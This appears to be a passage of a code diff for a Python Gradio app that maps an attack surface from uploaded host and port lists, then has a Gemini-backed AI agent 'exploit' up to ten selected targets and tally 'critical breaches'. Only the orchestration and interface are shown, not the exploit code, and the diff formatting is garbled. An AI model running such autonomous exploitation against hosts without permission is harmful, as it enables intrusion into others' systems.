warning = f"β οΈ **Warning:** Selected more than {MAX_CONCURRENT_EXPLOIT}. Truncating to top 10 for safety.\n\n"
|
| 302 |
+
else:
|
| 303 |
+
warning = ""
|
| 304 |
+
|
| 305 |
+
print(f"π [STAGE 2] Exploiting {len(selected_labels)} targets...")
|
| 306 |
+
agent = ValidationAgent(api_key)
|
| 307 |
+
|
| 308 |
+
tasks = []
|
| 309 |
+
for label in selected_labels:
|
| 310 |
+
hyp = hyp_dict[label]
|
| 311 |
+
tasks.append(agent.validate_hypothesis(hyp))
|
| 312 |
+
|
| 313 |
+
results = await asyncio.gather(*tasks)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 314 |
|
| 315 |
+
# Generate Output
|
| 316 |
+
df = pd.DataFrame(results)
|
| 317 |
+
|
| 318 |
+
md = f"## π Stage 2: Validation Report\n{warning}"
|
| 319 |
+
md += f"**Targets Exploited:** {len(results)}\n"
|
| 320 |
+
success_count = len(df[df['status'] == 'SUCCESS!'])
|
| 321 |
+
md += f"**Critical Breaches:** {success_count}\n\n"
|
| 322 |
|
| 323 |
+
html = df.to_html(classes=['table', 'table-dark', 'table-hover'], index=False)
|
| 324 |
+
return md + html
|
| 325 |
|
| 326 |
|
| 327 |
+
# Wrappers for Gradio Sync Execution
|
| 328 |
+
def stage_1_wrapper(files, manual):
|
| 329 |
+
return asyncio.run(run_stage_1(files, manual))
|
| 330 |
|
| 331 |
+
def stage_2_wrapper(selected, state_dict, api_key):
|
| 332 |
+
return asyncio.run(run_stage_2(selected, state_dict, api_key))
|
| 333 |
+
|
| 334 |
+
# ==============================================================================
|
| 335 |
+
# GRADIO UI DEFINITION
|
| 336 |
+
# ==============================================================================
|
| 337 |
+
with gr.Blocks(theme=gr.themes.Monochrome()) as demo:
|
| 338 |
+
# State variable to hold data between stages
|
| 339 |
+
engine_state = gr.State({})
|
| 340 |
+
|
| 341 |
+
gr.Markdown("# π§ SOTA Ethical Decision Engine")
|
| 342 |
+
gr.Markdown("### **Two-Stage Architecture:** Map the Attack Surface $\\rightarrow$ Authorize AI Exploitation")
|
| 343 |
+
|
| 344 |
+
with gr.Row():
|
| 345 |
+
# LEFT COLUMN - STAGE 1
|
| 346 |
+
with gr.Column(scale=1, variant="panel"):
|
| 347 |
+
gr.Markdown("### π STAGE 1: Recon & Hypothesis")
|
| 348 |
+
csv_in = gr.File(label="Upload CSV (Host, Port)", file_count="multiple")
|
| 349 |
+
txt_in = gr.Textbox(label="Manual Targets", lines=3, placeholder="192.168.1.1:80\nexample.com,443")
|
| 350 |
+
recon_btn = gr.Button("1οΈβ£ RUN RECONNAISSANCE", variant="secondary")
|
| 351 |
+
|
| 352 |
+
# RIGHT COLUMN - STAGE 2
|
| 353 |
+
with gr.Column(scale=1, variant="panel"):
|
| 354 |
+
gr.Markdown("### π STAGE 2: Authorize AI Agent")
|
| 355 |
+
api_key_in = gr.Textbox(label="Gemini API Key (Required for Stage 2)", type="password", placeholder="AIzaSy...")
|
| 356 |
+
target_selector = gr.CheckboxGroup(label="Select Targets for Validation (Max 10)", choices=[], visible=False)
|
| 357 |
+
exploit_btn = gr.Button("2οΈβ£ EXECUTE VALIDATION LOOP", variant="primary")
|
| 358 |
+
|
| 359 |
+
# BOTTOM - OUTPUT
|
| 360 |
+
with gr.Row():
|
| 361 |
+
with gr.Column():
|
| 362 |
+
out_display = gr.HTML("<br><center><h3>System Offline. Load targets to begin.</h3></center>")
|
| 363 |
+
|
| 364 |
+
# --- EVENT WIRING ---
|
| 365 |
+
|
| 366 |
+
# Run Stage 1
|
| 367 |
+
recon_btn.click(
|
| 368 |
+
fn=stage_1_wrapper,
|
| 369 |
+
inputs=[csv_in, txt_in],
|
| 370 |
+
outputs=[engine_state, target_selector, out_display]
|
| 371 |
+
)
|
| 372 |
+
|
| 373 |
+
# Run Stage 2
|
| 374 |
+
exploit_btn.click(
|
| 375 |
+
fn=stage_2_wrapper,
|
| 376 |
+
inputs=[target_selector, engine_state, api_key_in],
|
| 377 |
+
outputs=[out_display]
|
| 378 |
+
)
|
| 379 |
|
|
|
|
| 380 |
if __name__ == "__main__":
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 381 |
demo.launch()
|